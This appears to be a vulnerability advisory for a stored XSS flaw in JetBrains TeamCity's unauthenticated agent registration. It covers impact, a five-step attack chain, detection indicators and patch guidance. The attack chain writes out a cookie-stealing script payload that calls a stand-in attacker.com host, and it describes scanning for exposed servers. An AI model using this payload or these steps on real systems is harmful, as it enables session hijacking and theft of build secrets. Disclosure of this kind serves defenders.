CVE-2026-59795: 
JetBrains TeamCity vulnerability analysis and mitigation

CVE-2026-59795 is a stored Cross-Site Scripting (XSS) vulnerability in JetBrains TeamCity that allows unauthenticated attackers to inject malicious scripts via the agent registration process. The vulnerability affects all versions of JetBrains TeamCity before 2026.1.2. It was published on July 10, 2026, with a patch available in version 2026.1.2. The NVD assigns a CVSS v3.1 base score of 6.1 (Medium), while the GitHub Advisory Database and ENISA rate it at 8.1 (High) (GitHub Advisory, JetBrains).

The root cause is improper neutralization of user-controllable input during web page generation (CWE-79), specifically within the agent registration workflow. Because TeamCity permits unauthenticated agent registration, an attacker can submit crafted registration data containing malicious JavaScript payloads without any prior authentication. These scripts are stored server-side and subsequently rendered in the browsers of authenticated users (e.g., administrators) who view agent information pages, triggering execution in their session context. No public proof-of-concept exploit code has been identified at this time (GitHub Advisory, JetBrains).

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browsers of authenticated TeamCity users, including administrators. This can result in session token theft, credential harvesting, unauthorized actions performed on behalf of the victim (such as modifying build configurations or accessing sensitive CI/CD pipeline data), and potential lateral movement within the development infrastructure. Confidentiality and integrity are both impacted, though availability is not directly affected (GitHub Advisory).

1. Reconnaissance: Identify internet-facing JetBrains TeamCity instances running versions prior to 2026.1.2 using tools like Shodan or Censys, targeting the default TeamCity port (8111) or any exposed web interface.
2. Craft malicious registration request: Prepare an agent registration request containing a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) embedded in a registration field such as the agent name or hostname.
3. Submit unauthenticated registration: Send the crafted agent registration request to the TeamCity server's agent registration endpoint without any authentication credentials, leveraging the server's open agent registration feature.
4. Wait for victim interaction: The malicious payload is stored in the TeamCity database and rendered when an authenticated user (e.g., an administrator) navigates to the agents page or views the registered agent's details.
5. Harvest session tokens or perform actions: The injected script executes in the victim's browser, enabling the attacker to steal session cookies, perform authenticated API calls, exfiltrate build secrets, or pivot further into the CI/CD environment (GitHub Advisory).

• Network: Unexpected or anomalous agent registration requests originating from unknown or external IP addresses; outbound HTTP requests from administrator browsers to unfamiliar external domains shortly after viewing the agents page.
• Logs: TeamCity server logs showing new agent registrations from unrecognized hosts or IP ranges; browser-side console errors or unexpected redirects logged in web proxy/SIEM tools when administrators access the agents view.
• File System: No specific file artifacts expected for a stored XSS attack, but review TeamCity database entries for agent registration records containing HTML tags or JavaScript syntax in name/hostname fields.
• Process/Session: Unusual authenticated API activity (e.g., build configuration changes, secret access) immediately following an administrator's visit to the agents page, potentially indicating session hijacking.

JetBrains has released a patch in TeamCity version 2026.1.2, which resolves this vulnerability. Organizations should upgrade to version 2026.1.2 or later as the primary remediation step. As a workaround where immediate upgrade is not feasible, consider restricting agent registration to authenticated users only, implementing a web application firewall (WAF) to filter XSS payloads in registration requests, and limiting network access to the TeamCity agent registration endpoint to trusted IP ranges (JetBrains, GitHub Advisory).

Coverage of this vulnerability appeared across several security news outlets following the July 10, 2026 disclosure, including GBHackers, CyberSecurityNews, SecurityOnline, and VPNcentral, typically in the context of a broader JetBrains patch release addressing six vulnerabilities across TeamCity, YouTrack, and IntelliJ IDEA. Social media activity was noted on Mastodon via TheHackerWire. Detection support was added by Tenable (Nessus plugin 327417) and Qualys (detection ID 531793) shortly after disclosure (GBHackers, CyberSecurityNews, VPNcentral).